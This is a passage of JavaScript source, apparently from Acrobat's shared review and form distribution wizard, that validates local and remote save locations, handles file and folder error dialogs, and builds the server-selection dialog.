					/*Fix for the bug - 2737699; When the new internal server is configured then IWNewInternalServer step verify the given URL. In its 	

					verification it checks that at given location sharefolder can be  created,accessed and deleted, it also checks that the given location 	

					and the doc path should not be same. But when user select the alredy configured server setting then the above mentioned verifaction is not 

					done. Above conditions check for the writable and valid save location, it doesn't chek for the same location. Hence here i am adding one check for 

					the same location*/

					

					if( validLocation && data.UseDocumentCenter == false && data.serverType == AnnotsString.IDS_SHARED_REVIEW_SMB_NAME && data.distributionMethod ==   "UPLOAD" )

					{			

						globalCheckForSameSMBLocation(data.server.Settings.cSetting,data);

						if (data.Error_DocumentLocationAndRepositoryLocationSame == true)	

						{

							

							errorSameLocation = true;

							DebugThrow ("Cannot choose same folder");

						}								

					} 

					

				}

				catch(e)

				{

				    // possible error codes that isValidSaveLocation throws:

			        //  1. InvalidPathParam - specified path cannot be resolved (default)

			        //  2. NoOverwrite - no write access to specified directory/file

			        //  3. UnsafePathname - file contains an invalid character

					DebugAlert("error code:"+ e.errorCode);

					

					var msg;

					if (e.errorCode == 3)

					    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_FILENAME;

					else if (e.errorCode == 2)

					    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_WRITE_DENIED;

					else if (e.name == "RangeError")

					    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_LONG_FILENAME;

					else if(errorSameLocation)

						msg = AnnotsString.IDS_SHARED_REVIEW_ERROR_SAME_LOCATION_FOR_FILE_REPOSITORY;

					else

					    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_LOCATION;

			

					app.alert(msg);

					DebugThrow ("BadLocation");

				}

					

				if(validLocation && (data.reviewType == "SharedReview") && (data.serverType == AnnotsString.IDS_SHARED_REVIEW_SMB_NAME))

				{

				   	app.beginPriv();

					longFileName(data);

					app.endPriv();

				}

				while (!validLocation)

				{

					var fileErrorDesc = IWShowFileError(data, true);

		

					app.beginPriv();

					var result = app.execDialog(fileErrorDesc);

					app.endPriv();



					if (result == "ok")

					{

						if (data.doOverwrite)

						{

							validLocation = true;

						}

						else

						{

							// if the distribution FS is CHTTP then just use the destination path as is;

							// otherwise convert the path to a DI path.

							if (data.distributionFS == "CHTTP")

							{

								if (data.server.Settings.bUseWindowsIntegratedAuthentication)

									locationProps.cFS = "CSSO";

								else

									locationProps.cFS = "CHTTP";

								locationProps.cFilePath = data.distributionURL;

							}

							else

							{

								app.beginPriv();

								locationProps.cFilePath = Collab.uriToDIPath(encodeURIComponent(data.distributionURL));

								app.endPriv();

								locationProps.cFS = data.distributionFS;

							}

							

							locationProps.cDisplay = ANSMBURLToPlatformPath(data.distributionURL);

							locationProps.cPath = locationProps.cFilePath;

							

							try 

							{ 

								app.beginPriv();

								validLocation = Collab.isPathWritable(locationProps) &&

								                app.isValidSaveLocation(locationProps);

								app.endPriv();

							}

							catch(e)

							{

							    // possible error codes that isValidSaveLocation throws:

						        //  1. InvalidPathParam - specified path cannot be resolved (default)

						        //  2. NoOverwrite - no write access to specified directory/file

						        //  3. UnsafePathname - file contains an invalid character

								DebugAlert("error code:"+ e.errorCode);

								

								var msg;

								if (e.errorCode == 3)

								    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_FILENAME;

								else if (e.errorCode == 2)

								    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_WRITE_DENIED;

								else if (e.name == "RangeError")

					                msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_LONG_FILENAME;

								else

								    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_LOCATION;

						

								app.alert(msg);

								DebugThrow ("BadLocation");

							}

							if(validLocation && (data.reviewType == "SharedReview") && data.serverType == AnnotsString.IDS_SHARED_REVIEW_SMB_NAME)

			                {				

								app.beginPriv();

								longFileName(data);

								app.endPriv();

			                }

						}

					}

					else

					{

						//TODO: dikumar Exit here? SURE?

						if (result == "cancel")

						{

							validLocation = true;

							DebugThrow ("Exit the wizard\n");

						}

						return;	

					}

				}

			}

			else

			{

				//0. make the doc center url and check if the remote file exists on Acrobat.com

				//1. launch dialog if it exists

				//2. get the new file name and update the params (done below after else)

				//3. TODO dikumar: might also need to call delete workflow, what happens to stuff locally and in the tracker.



				//0. make the doc center url and check if the remote file exists on Acrobat.com

				app.beginPriv();

				var dcURL = Collab.docCenterURL;

				app.endPriv();

				

				if (dcURL.charAt(dcURL.length - 1) != "/") 

					dcURL += "/";				

				dcURL = dcURL +  data.cDocumentName;

				

				data.distributionURL = dcURL;

				

				if (data.swConn)

				{

					app.beginPriv();

					var validLocation = !(data.swConn.fileExists(data.distributionURL));

					app.endPriv();

					

					//1. launch dialog if it exists

					while (!validLocation)

					{

						var fileErrorDesc = IWShowFileError(data, true);

			

						app.beginPriv();

						var result = app.execDialog(fileErrorDesc);

						app.endPriv();

						

						if (result == "ok")

						{

							if (data.doOverwrite)

							{

								validLocation = true;

							}

							else

							{

								app.beginPriv();

								validLocation = !(data.swConn.fileExists(data.distributionURL));

								app.endPriv();

							}

						}

						else

						{

							//TODO: dikumar Exit here? SURE?

							if (result == "cancel")

							{

								validLocation = true;

								DebugThrow ("Exit the wizard\n");

							}

							return;	

						}

					}

				}

			}



			//if the user provided an alternate name for the remote file, then use the same name locally as well. 

			data.cDocumentName = data.distributionURL.substring(data.distributionURL.lastIndexOf('/') + 1, data.distributionURL.length);

			var newDocumentPath = data.cDocumentPath.substr(0, data.cDocumentPath.lastIndexOf('/') + 1) + data.cDocumentName;

			data.cDocumentPath = newDocumentPath;

		}

	}//End of (Check whether the location where the file will be uploaded remotely is valid or not)

		

	//Check whether the location where the file will be stored locally is valid or not

	if(data.reviewType == "SharedReview" )

	{

		var locationProps = {};

		DebugAlert("data.cDocumentPath" + data.cDocumentPath);

		locationProps.cFilePath = data.cDocumentPath;

		app.beginPriv();

		locationProps.cDisplay = Collab.convertDIPathToPlatformPath(data.cDocumentPath);

		app.endPriv();

		locationProps.cFS = null;

	

		locationProps.cPath = locationProps.cFilePath;



		var validLocation = false;

	

		try

		{

			app.beginPriv();

			validLocation = Collab.isPathWritable(locationProps) &&

			                app.isValidSaveLocation(locationProps);

			app.endPriv();

		}

		catch(e)

		{

		    // possible error codes that isValidSaveLocation throws:

	        //  1. InvalidPathParam - specified path cannot be resolved (default)

	        //  2. NoOverwrite - no write access to specified directory/file

	        //  3. UnsafePathname - file contains an invalid character

			DebugAlert("error code:"+ e.errorCode);

			

			var msg;

			if (e.errorCode == 2)

			{

				//Don't show this alert but show the folder not writable error dialog

			    //msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_WRITE_DENIED;

				//app.alert(msg);

				

				var validFolderLocation = false;

				

				//BUG#2687052: mbansal - Keep a copy of the original documentPath and documentName

				//because in the next "catch" block if errorcode != 2 we prompt with an error and exit. 

				//data.cDocumentPath and data.cDocumentName get overridden inside IWShowLocalFolderError and its value is used next time in this function.

				DebugAlert("creating copy of orig Document Path and name.");

				var origDocPath = data.cDocumentPath;

				var origDocName = data.cDocumentName;



				while (!validFolderLocation)

				{

					var folderErrorDesc = IWShowLocalFolderError(data);

	

					app.beginPriv();

					var folderErrorResult = app.execDialog(folderErrorDesc);

					app.endPriv();

	

					if (folderErrorResult == "ok")

					{

						locationProps.cFilePath = data.cDocumentPath;

						app.beginPriv();

						locationProps.cDisplay = Collab.convertDIPathToPlatformPath(data.cDocumentPath);

						app.endPriv();

						locationProps.cFS = null;

						locationProps.cPath = locationProps.cFilePath;

						

						try 

						{ 

							app.beginPriv();

							validLocation = Collab.isPathWritable(locationProps) &&

							                	app.isValidSaveLocation(locationProps);

							app.endPriv();

							

							//if we are here it means that there was no throw with errorCode = 2. That means the user changed the folder which is writeble now.

							//so folder is valid now.

							validFolderLocation = true;

						}

						catch(e)

						{

						    // possible error codes that isValidSaveLocation throws:

					        //  1. InvalidPathParam - specified path cannot be resolved (default)

					        //  2. NoOverwrite - no write access to specified directory/file

					        //  3. UnsafePathname - file contains an invalid character

							

							var msg;

							if (e.errorCode == 2)

							{

								validFolderLocation = false

							}

							else

							{

								validFolderLocation = true;

								if (e.errorCode == 3)

							    	msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_FILENAME;

								else

								    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_LOCATION;

					

								app.alert(msg);



								//BUG#2687052: mbansal - restore the original documentPath and documentName

							    DebugAlert("restore the original documentPath and documentName");

							    data.cDocumentPath = origDocPath;

							    data.cDocumentName = origDocName;



								DebugThrow ("BadLocation");

							}

						}

					}				

					else

					{

						//TODO: dikumar Exit here? SURE?

						if (folderErrorResult == "cancel")

						{

							validLocation = true;

							DebugThrow ("Exit the wizard\n");

						}

						return;	

					}

				}

			}

			else

			{

				if (e.errorCode == 3)

			    	msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_FILENAME;

				else

			    	msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_LOCATION;

	

				app.alert(msg);

				DebugThrow ("BadLocation");

			}

		}

		

		if (data.overwriteIsImplicit)

			validLocation = true;



		while (!validLocation)

		{

			var fileErrorDesc = IWShowFileError(data, false);



			app.beginPriv();

			var result = app.execDialog(fileErrorDesc);

			app.endPriv();

			

			if (result == "ok")

			{

				if (data.doOverwrite)

				{

					validLocation = true;

				}

				else

				{

					locationProps.cFilePath = data.cDocumentPath;

					app.beginPriv();

					locationProps.cDisplay = Collab.convertDIPathToPlatformPath(data.cDocumentPath);

					app.endPriv();

					locationProps.cFS = null;

					locationProps.cPath = locationProps.cFilePath;

					

					try 

					{ 

						app.beginPriv();

						validLocation = Collab.isPathWritable(locationProps) &&

						                app.isValidSaveLocation(locationProps);

						app.endPriv();

					}

					catch(e)

					{

					    // possible error codes that isValidSaveLocation throws:

				        //  1. InvalidPathParam - specified path cannot be resolved (default)

				        //  2. NoOverwrite - no write access to specified directory/file

				        //  3. UnsafePathname - file contains an invalid character

						DebugAlert("error code:"+ e.errorCode);

						

						var msg;

						if (e.errorCode == 3)

						    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_FILENAME;

						else if (e.errorCode == 2)

						    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_WRITE_DENIED;

						else

						    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_LOCATION;

				

						app.alert(msg);

						DebugThrow ("BadLocation");

					}

				}

			}

			else

			{

				//TODO: dikumar Exit here? SURE?

				if (result == "cancel")

				{

					validLocation = true;

					DebugThrow ("Exit the wizard\n");

				}

				return;	

			}

		}

		

		if (!data.overwriteIsImplicit)

		{

			data.cDocumentPath = locationProps.cFilePath;

			data.cDocumentName = data.cDocumentPath.substring(data.cDocumentPath.lastIndexOf('/') + 1, data.cDocumentPath.length);

		}

	}//End of (Check whether the location where the file will be stored locally is valid or not)

	

	//

	// In case of FD the logic is

	// 

	// Check for the write permission on folder

	// if false ask for the writable folder

	// repeat above till get a writable folder

	//

	/// some useful comments for the Form Distribution case

	//	We dont need to test the WebDav and SharePoint cases, because:

	//	- Dataset files are stored in local disk. 

	//	- The local copies of the distributed files are also stored in local disk. 

	//	- In shared folder case, the distributed file for a workflow will be uploaded to an individual folder created for that workflow. Therefore, there is no file name collision problem. 



	if(data.reviewType == "FormDistribution")

	{

		var locationProps = {};

		

		//BUG#2687052: mbansal - Keep a copy of the original documentPath because in the 2nd "catch" block if errorcode != 2 we prompt with an error and exit. 

		//data.cDocumentPath get overridden inside IWShowFolderError and its value is used next time in this function.

		//documentName is not changed in IWShowFolderError so I haven't created a backup for it.

		DebugAlert("creating copy of orig Document Path.");

		var origDocPath = data.cDocumentPath;



		var validLocation = false;

		

		while (!validLocation)

		{

			locationProps.cFilePath = data.cDocumentPath;

			app.beginPriv();

			locationProps.cDisplay = Collab.convertDIPathToPlatformPath(data.cDocumentPath);

			app.endPriv();

			locationProps.cFS = null;

		

			locationProps.cPath = locationProps.cFilePath;

			DebugAlert("data.cDocumentPath " + data.cDocumentPath);

			try 

			{ 

				app.beginPriv();

				validLocation = Collab.isPathWritable(locationProps); 

				//&&

				  //              app.isValidSaveLocation(locationProps);

				app.endPriv();

					

			}

			catch(e)

			{

			    // possible error codes that isValidSaveLocation throws:

		        //  1. InvalidPathParam - specified path cannot be resolved (default)

		        //  2. NoOverwrite - no write access to specified directory/file

		        //  3. UnsafePathname - file contains an invalid character

				DebugAlert("error code:"+ e.errorCode);

				

				var msg;

				if (e.errorCode == 2)

				{

					//Don't show this alert but show the folder not writable error dialog

				    //msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_WRITE_DENIED;

					//app.alert(msg);

					

					var validFolderLocation = false;				

					while (!validFolderLocation)

					{

						var folderErrorDesc = IWShowFolderError(data, false);

		

						app.beginPriv();

						var folderErrorResult = app.execDialog(folderErrorDesc);

						app.endPriv();

		

						if (folderErrorResult == "ok")

						{

							locationProps.cFilePath = data.cDocumentPath;

							app.beginPriv();

							locationProps.cDisplay = Collab.convertDIPathToPlatformPath(data.cDocumentPath);

							app.endPriv();

							locationProps.cFS = null;

							locationProps.cPath = locationProps.cFilePath;

							

							try 

							{ 

								app.beginPriv();

								validLocation = Collab.isPathWritable(locationProps) 

								app.endPriv();

								

								//if we are here it means that there was no throw with errorCode = 2. That means the user changed the folder which is writeble now.

								//so folder is valid now.

								validFolderLocation = true;

							}

							catch(e)

							{

							    // possible error codes that isPathWritable throws:

						        //  1. InvalidPathParam - specified path cannot be resolved (default)

						        //  2. NoOverwrite - no write access to specified directory/file

						        //  3. UnsafePathname - file contains an invalid character

								

								var msg;

								if (e.errorCode == 2)

								{

									validFolderLocation = false

								}

								else

								{

									validFolderLocation = true;

									if (e.errorCode == 3)

								    	msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_FILENAME;

									else

									    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_LOCATION;

						

									app.alert(msg);

		    

		    						//BUG#2687052: mbansal - restore the original documentPath

	    						    DebugAlert("restore the original documentPath");

    							    data.cDocumentPath = origDocPath;



									DebugThrow ("BadLocation");

								}

							}

						}				

						else

						{

							//TODO: dikumar Exit here? SURE?

							if (folderErrorResult == "cancel")

							{

								validLocation = true;

								DebugThrow ("Exit the wizard\n");

							}

							return;	

						}

					}

				}

				else

				{ 

					if (e.errorCode == 3)

					    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_FILENAME;

					else

					    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_LOCATION;

					    

					app.alert(msg);

					DebugThrow ("BadLocation");

				}

			}

		}

		//At this point we have a valid path

		//now get the valid name 

		validLocation = false;

		

		var locationPropsSavePath = {};

		var locationPropsDatasetPath = {};

		

		var saveDocName;

		var datasetDocName;

		

		var oldName = data.doc.documentFileName;

		var oldPath = data.cDocumentPath; //data.doc.path;

		var newPath = oldPath.substring(0, oldPath.lastIndexOf('/') + 1); 



		

		saveDocName = oldName.replace(/.pdf$/i, "") + AnnotsString.IDS_SHARED_REVIEW_FILE_EXT_FD + ".pdf";

		datasetDocName = oldName.replace(/.pdf$/i, "") + AnnotsString.IDS_SHARED_REVIEW_DATA_SET_FILE_EXT_FD + ".pdf";

		

		var sequence = 0;

		

		if(data.UseDocumentCenter)

		{

			populateFilesAtDocCenter(data, oldName);

		}



		while (!validLocation)

		{

			locationPropsSavePath.cFilePath = newPath + saveDocName ;

			locationPropsSavePath.cFS = null;

			locationPropsSavePath.cPath = locationPropsSavePath.cFilePath;

			app.beginPriv();

			locationPropsSavePath.cDisplay = Collab.convertDIPathToPlatformPath(locationPropsSavePath.cPath);

			app.endPriv();

			

			DebugAlert("Isvalidsave location: data.cDocumentPath " + locationPropsSavePath.cPath);

			

			

			locationPropsDatasetPath.cFilePath = newPath + datasetDocName ;

			locationPropsDatasetPath.cFS = null;

			locationPropsDatasetPath.cPath = locationPropsDatasetPath.cFilePath 

			app.beginPriv();

			locationPropsDatasetPath.cDisplay = Collab.convertDIPathToPlatformPath(locationPropsDatasetPath.cPath);

			app.endPriv();

			

			DebugAlert("2. data.cDocumentPath " + locationPropsDatasetPath.cPath);



			try 

			{ 

				app.beginPriv();

				validLocation = app.isValidSaveLocation(locationPropsSavePath) 

							&& app.isValidSaveLocation(locationPropsDatasetPath);

				app.endPriv();	

			}

			catch(e)

			{

			    // possible error codes that isValidSaveLocation throws:

		        //  1. InvalidPathParam - specified path cannot be resolved (default)

		        //  2. NoOverwrite - no write access to specified directory/file

		        //  3. UnsafePathname - file contains an invalid character

				DebugAlert("error code:"+ e.errorCode);

				

				var msg;

				if (e.errorCode == 3)

				    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_FILENAME;

				else if (e.errorCode == 2)

				    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_WRITE_DENIED;

				else

				    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_LOCATION;

			

				app.alert(msg);



				//BUG#2687052: mbansal - restore the original documentPath

    		    DebugAlert("restore the original documentPath");

    		    data.cDocumentPath = origDocPath;



				DebugThrow ("BadLocation");

			}

				

			//check for the files at the doc center	

			if(validLocation && data.UseDocumentCenter)

			{

				validLocation = isValidSaveLocationAtDocCtr(saveDocName) 

							&& isValidSaveLocationAtDocCtr(datasetDocName);

			}

			

			if(!validLocation)

			{

				nextNumber = getnextnumber(sequence);

				DebugAlert("nextNumber " + nextNumber);

			   	saveDocName = oldName.replace(/.pdf$/i, "") +  AnnotsString.IDS_SHARED_REVIEW_FILE_EXT_FD + nextNumber + ".pdf";

				datasetDocName = oldName.replace(/.pdf$/i, "") + AnnotsString.IDS_SHARED_REVIEW_DATA_SET_FILE_EXT_FD + nextNumber + ".pdf";

				++sequence;

			}

		}

		data.cDocumentPath = locationPropsSavePath.cFilePath;

		data.cDocumentName = data.cDocumentPath.substring(data.cDocumentPath.lastIndexOf('/') + 1, data.cDocumentPath.length);

		data.cDataSetPath = locationPropsDatasetPath.cFilePath;



	}

	

	DebugAlert("data.cdocumentname" + data.cDocumentName);

}







function RemoveWebdav(element, index, array)

{

	return (element.URL != "urn://ns.adobe.com/Collaboration/SharedReview/WebDAV");

}

				

				

	// This step selects which server as well as server type we chose to use 

	// 1. Doc center (i.e this.data.doc_center = true)

	// 2. An existing config of an internal server and this.data.server is set 

	// 3. Configure an internal server (i.e this.data.new_config = true)

	IWDistributionServer = function(reviewType, checkSize)

	{

		try

		{

		var oA_EmailDistribute_110x64_N					= Collab.getIcon("A_EmailDistribute_110x64_N.png");

		var oA_EmailRespond_110x64_N 					= Collab.getIcon("A_EmailRespond_110x64_N.png");

		var oA_EmailCollect_110x64_N 					= Collab.getIcon("A_EmailCollect_110x64_N.png");



		var oA_SharedReviewServerDistribute_110x64_N	= Collab.getIcon("A_SharedReviewServerDistribute_110x64_N.png");

		var oA_SharedReviewServerComment_110x64_N		= Collab.getIcon("A_SharedReviewServerComment_110x64_N.png");

		var oA_SharedReviewServerCollect_110x64_N		= Collab.getIcon("A_SharedReviewServerCollect_110x64_N.png");



		var oA_ServerDistribute_110x64_N				= Collab.getIcon("A_ServerDistribute_110x64_N.png");

		var oA_ServerRespond_110x64_N					= Collab.getIcon("A_ServerRespond_110x64_N.png");

		var oA_ServerCollect_110x64_N					= Collab.getIcon("A_ServerCollect_110x64_N.png");



		var oA_SharedReviewAcrobatDistribute_110x64_N	= Collab.getIcon("A_SharedReviewAcrobatDistribute_110x64_N.png");

		var oA_SharedReviewAcrobatComment_110x64_N		= Collab.getIcon("A_SharedReviewAcrobatComment_110x64_N.png");

		var oA_SharedReviewAcrobatCollect_110x64_N		= Collab.getIcon("A_SharedReviewAcrobatCollect_110x64_N.png");



		var oA_AcrobatDistribute_110x64_N				= Collab.getIcon("A_AcrobatDistribute_110x64_N.png");

		var oA_AcrobatRespond_110x64_N					= Collab.getIcon("A_AcrobatRespond_110x64_N.png");

		var oA_AcrobatCollect_110x64_N					= Collab.getIcon("A_AcrobatCollect_110x64_N.png");

	

		var maxStringWidth = {max: [{zstring_width: SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL" + WT)},

									{zstring_width: SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER" + WT)},

									{zstring_width: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL},

								   ]};



		var desiredPopupWidth = {min: [ maxStringWidth, 500]};

		

		var description = 

		{

			//reviewType: reviewType,

			initialize: function(dialog)

			{

				var toLoad = {};

				var toShow = {};

				

				this.updateServers(dialog);

				

				var alwaysUseServer = getAlwaysUseServerValue(this.data.reviewType);

				if (alwaysUseServer == undefined)

					toLoad.rmbr = false;

				else

					toLoad.rmbr = true;

				

				this.srvr(dialog);

				

				//The cDocumentName and cDocumentPath are used later, but can be updated at this step, so do it.				

				var oldName = this.data.doc.documentFileName;

				var oldPath = this.data.doc.path;

				var newPath = oldPath.substring(0, oldPath.lastIndexOf('/') + 1);

				this.data.cDocumentName = oldName.replace(/.pdf$/i, "") + SharedString("IDS_SHARED_REVIEW_FILE_EXT" + WT);;

				if(this.data.reviewType == "FormDistribution")

				    this.data.cDocumentName = this.data.cDocumentName + ".pdf";

				this.data.cDocumentPath = newPath + this.data.cDocumentName;

				if(this.data.reviewType == "FormDistribution")

				{

					this.data.cDataSetName = oldName.replace(/.pdf$/i, "") + SharedString("IDS_SHARED_REVIEW_DATA_SET_FILE_EXT" + WT);

					this.data.cDataSetPath = newPath + this.data.cDataSetName;

				}



				toLoad.hdng = SharedString("IDS_SHARED_REVIEW_DISTRIBUTION_SERVER_STEP_HEADING" + WT);

				

				if(this.data.reviewType == "SharedReview" || this.data.reviewType == "FormDistribution")

				{

					//1. Remove the previous button

					if (this.data.docAlreadyOpened)

						toShow.prev = false;

				}



				dialog.focus("next");



				dialog.visible(toShow);

				dialog.load(toLoad);

			},



			idle: function(dialog)

			{

				var toLoad = {};

				

				var i = this.findSelectedIndex("srvr");

				if (i<0)

				{

					this.data.addInternalServer = false;

					dialog.enable({next: false});

				}

				else

				{

					if (this.getSelectedItemText("srvr") == SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER" + WT))

					{

						this.data.addInternalServer = true;

						if(this.data.reviewType == "FormDistribution")

						{

						    dialog.enable({rmbr: true});

						}

						else

						{

						    dialog.enable({rmbr: false});

						}

					}

					else

					{

						this.data.addInternalServer = false;

						dialog.enable({rmbr: true});

					}

												

					dialog.load(toLoad);

					dialog.enable({next: true});

				}

				return;

			},

			srvr: function(dialog)

			{

				var toLoad = {};

				var toShow = {};

				var toEnable = {};

				

				//1. Get the selected entry

				var item = this.getSelectedItemText("srvr");

				

				var proAllowsYou = AnnotsString.IDS_SHARED_REVIEW_PROFILE_NAME_ALLOWS_YOU_TO;

				proAllowsYou = proAllowsYou.replace(/\{cProfileName\}/, item);

				toLoad.payt = proAllowsYou;

				

				toShow.lmdc = false;

				toShow.cl00 = true;



				if (this.data.reviewType == "FormDistribution" && item == AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL)

				{

					toLoad.dst1 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST1_EMAIL" + WT);

					toLoad.yurl = "";

					toShow.yurl = false;

					toShow.surl = false;

					

					toLoad.payt =  AnnotsString.IDS_SHARED_REVIEW_PROFILE_NAME_ALLOWS_YOU_TO_EMAIL;

					

					toLoad.rsp1 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP1_EMAIL" + WT);

					toLoad.rsp2 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP2_EMAIL" + WT);

					toLoad.clt1 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL1_EMAIL" + WT);

					toLoad.clt2 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL2_EMAIL" + WT);

					

					toShow.cl00 = false;

					

					oA_EmailDistribute_110x64_N					= Collab.getIcon("A_EmailDistribute_110x64_N.png");

					oA_EmailRespond_110x64_N 					= Collab.getIcon("A_EmailRespond_110x64_N.png");

					oA_EmailCollect_110x64_N 					= Collab.getIcon("A_EmailCollect_110x64_N.png");



					toLoad.icn1 = oA_EmailDistribute_110x64_N;

					toLoad.icn2 = oA_EmailRespond_110x64_N;

					toLoad.icn3 = oA_EmailCollect_110x64_N;

				}

				else if (item == SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER" + WT))

				{

					this.data.addInternalServer = true;

					if(this.data.reviewType == "FormDistribution")

					{

					    toEnable.rmbr = true;  

					    toLoad.rmbr = true;    

					}

					else

					{

					    toEnable.rmbr = false;  // graying out the check_box of 'remember my choice'

					    toLoad.rmbr = false;    // unchecking the check_box of 'remember my choice'

					}

					//if (app.platform == "MAC")

						//toLoad.dst1 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST1_YOUR_SERVER_MAC" + WT);

					//else

						toLoad.dst1 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST1_YOUR_SERVER" + WT);



					toLoad.yurl = "";

					toShow.yurl = false;

					toShow.surl = false;

					toLoad.rsp1 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP1" + this.data.UB + WT);

					toLoad.rsp2 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP2" + WT);

					toLoad.clt1 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL1" + this.data.UB + WT);

					//if (app.platform == "MAC")

					  //  toLoad.clt2 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL2_MAC" + WT);

					//else

					    toLoad.clt2 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL2" + WT);

					toLoad.payt =  AnnotsString.IDS_SHARED_REVIEW_PROFILE_NAME_ALLOWS_YOU_TO_YOUR_OWN_SERVER;

					

					if(this.data.reviewType == "SharedReview")

					{

						oA_SharedReviewServerDistribute_110x64_N	= Collab.getIcon("A_SharedReviewServerDistribute_110x64_N.png");

						oA_SharedReviewServerComment_110x64_N		= Collab.getIcon("A_SharedReviewServerComment_110x64_N.png");

						oA_SharedReviewServerCollect_110x64_N		= Collab.getIcon("A_SharedReviewServerCollect_110x64_N.png");



						toLoad.icn1 = oA_SharedReviewServerDistribute_110x64_N;

						toLoad.icn2 = oA_SharedReviewServerComment_110x64_N;

						toLoad.icn3 = oA_SharedReviewServerCollect_110x64_N;

					}

					else if(this.data.reviewType == "FormDistribution")

					{

						oA_ServerDistribute_110x64_N				= Collab.getIcon("A_ServerDistribute_110x64_N.png");

						oA_ServerRespond_110x64_N					= Collab.getIcon("A_ServerRespond_110x64_N.png");

						oA_ServerCollect_110x64_N					= Collab.getIcon("A_ServerCollect_110x64_N.png");



						toLoad.icn1 = oA_ServerDistribute_110x64_N;

						toLoad.icn2 = oA_ServerRespond_110x64_N;

						toLoad.icn3 = oA_ServerCollect_110x64_N;

					}

				}

				else

				{

					this.data.addInternalServer = false;

					toEnable.rmbr = true;



					if (item == SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT))

					{

						toShow.lmdc = true;

						toLoad.dst1 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST1_DC" + WT);

						toLoad.yurl = "";

						toShow.yurl = false;

						toShow.surl = false;

						toLoad.rsp1 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP1_DC" + this.data.UB + WT);

						toLoad.rsp2 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP2_DC" + WT);

						

						toLoad.payt =  AnnotsString.IDS_SHARED_REVIEW_PROFILE_NAME_ALLOWS_YOU_TO_ACROBAT;

						

						if(this.data.reviewType == "SharedReview")

						{

							oA_SharedReviewAcrobatDistribute_110x64_N	= Collab.getIcon("A_SharedReviewAcrobatDistribute_110x64_N.png");

							oA_SharedReviewAcrobatComment_110x64_N		= Collab.getIcon("A_SharedReviewAcrobatComment_110x64_N.png");

							oA_SharedReviewAcrobatCollect_110x64_N		= Collab.getIcon("A_SharedReviewAcrobatCollect_110x64_N.png");



							toLoad.icn1 = oA_SharedReviewAcrobatDistribute_110x64_N;

							toLoad.icn2 = oA_SharedReviewAcrobatComment_110x64_N;

							toLoad.icn3 = oA_SharedReviewAcrobatCollect_110x64_N;

						}

						else if(this.data.reviewType == "FormDistribution")

						{

							oA_AcrobatDistribute_110x64_N				= Collab.getIcon("A_AcrobatDistribute_110x64_N.png");

							oA_AcrobatRespond_110x64_N					= Collab.getIcon("A_AcrobatRespond_110x64_N.png");

							oA_AcrobatCollect_110x64_N					= Collab.getIcon("A_AcrobatCollect_110x64_N.png");



							toLoad.icn1 = oA_AcrobatDistribute_110x64_N;

							toLoad.icn2 = oA_AcrobatRespond_110x64_N;

							toLoad.icn3 = oA_AcrobatCollect_110x64_N;

						}

					}

					else

					{

						//if (app.platform == "MAC")

							//toLoad.dst1 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST1_YOUR_SERVER_MAC" + WT);

						//else

							toLoad.dst1 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST1_YOUR_SERVER" + WT);

						

						dialog.load({yurl: ""});

						dialog.visible({yurl: false}); 



						var str = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST1_YOUR_SERVER_URL" + WT);

